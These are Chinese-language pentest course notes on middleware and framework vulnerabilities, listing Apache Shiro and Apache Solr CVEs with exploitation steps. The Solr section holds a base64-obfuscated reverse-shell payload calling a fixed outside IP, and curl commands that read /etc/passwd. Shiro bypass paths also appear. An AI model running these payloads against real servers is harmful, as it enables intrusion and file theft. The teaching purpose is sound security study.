总览
知识点:
中间件及框架列表:
IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery等
1、开发框架-PHP-Laravel-Thinkphp
2、开发框架-Javaweb-St2-Spring
3、开发框架-Python-django-Flask
4、开发框架-Javascript-Node.js-JQuery
5、其他框架-Java-Apache Shiro&Apache Sorl
常见语言开发框架:
PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend等
JAVA:Spring MyBatis Hibernate Struts2 Springboot等
Python:Django Flask Bottle Turbobars Tornado Web2py等
Javascript:Vue.js Node.js Bootstrap JQuery Angular等
章节内容:
常见中间件的安全测试:
1、配置不当-解析&弱口令
2、安全机制-特定安全漏洞
3、安全机制-弱口令爆破攻击
4、安全应用-框架特定安全漏洞
前置知识:
-中间件安全测试流程:
1、判断中间件信息-名称&版本&三方
2、判断中间件问题-配置不当&公开漏洞
3、判断中间件利用-弱口令&EXP&框架漏洞
-应用服务安全测试流程:见图
1、判断服务开放情况-端口扫描&组合应用等
2、判断服务类型归属-数据库&文件传输&通讯等
3、判断服务利用方式-特定漏洞&未授权&弱口令等
-开发框架组件安全测试流程:
1、判断常见语言开发框架类型
2、判断开发框架存在的CVE问题
3、判断开发框架CVE漏洞利用方式
实例
Apache Shiro
Apache Shiro是一个强大且易用的Java安全框架,用于身份验证、授权、密码和会话管理
验证绕过,未授权访问。
判断:大多会发生在登录处,返回包里包含remeberMe=deleteMe字段 漏洞:https: Apache Shiro <= 1.2.4 默认密钥致命令执行漏洞【CVE-2016-4483】 Apache Shiro < 1.3.2 验证绕过漏洞【CVE-2016-2807】 Apache Shiro < 1.4.2 cookie oracle padding漏洞 【CVE-2019-12442】 Apache Shiro < 1.5.2 验证绕过漏洞 【CVE-2020-1957】 Apache Shiro < 1.5.3 验证绕过漏洞 【CVE-2020-11989】 Apahce Shiro < 1.6.0 验证绕过漏洞 【CVE-2020-13933】 Apahce Shiro < 1.7.1 权限绕过漏洞 【CVE-2020-17523】
1、CVE_2016_4437 Shiro-550+Shiro-721
2、CVE-2020-11989 Poc:/admin/%20 影响范围:Apache Shiro < 1.7.1 https:
3、CVE-2020-1957 Poc:/xxx/..;/admin/ 影响范围:Apache Shiro < 1.5.3
|
Apache Solr
Apache Solr是一个开源的搜索服务,使用Java语言开发,主要基于HTTP和Apache Lucene实现的。Solr是一个高性能,采用Java5开发,基于Lucene的全文搜索服务器。
漏洞:https: 远程命令执行RCE(CVE-2017-12629) 远程命令执行XXE(CVE-2017-12629) 任意文件读取AND命令执行(CVE-2019-17558) 远程命令执行漏洞(CVE-2019-0192) 远程命令执行漏洞(CVE-2019-0193) 未授权上传漏洞(CVE-2020-13957) Apache Solr SSRF (CVE-2021-27905)
1、远程命令执行RCE(CVE-2017-12629) Apache solr<7.1.0版本
2、任意文件读取AND命令执行(CVE-2019-17558) Apache Solr 5.0.0版本至8.3.1 https: D:\Python27\python.exe solr_rce.py http:
3、远程命令执行漏洞(CVE-2019-0193) Apache Solr < 8.2.0版本 <dataConfig> <dataSource type="URLDataSource"/> <script><![CDATA[ function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"); } ]]></script> <document> <entity name="stackoverflow" url="https://stackoverflow.com/feeds/tag/solr" processor="XPathEntityProcessor" forEach="/feed" transformer="script:poc" /> </document> </dataConfig>
4、Apache Solr 文件读取&SSRF (CVE-2021-27905) 全版本官方拒绝修复漏洞 1、获取数据库名 http: 2、访问触发 curl -i -s -k -X $'POST' \ -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \ $'http://47.94.236.117:8983/solr/demo/config' 3、任意文件读取 curl -i -s -k 'http://47.94.236.117:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'
|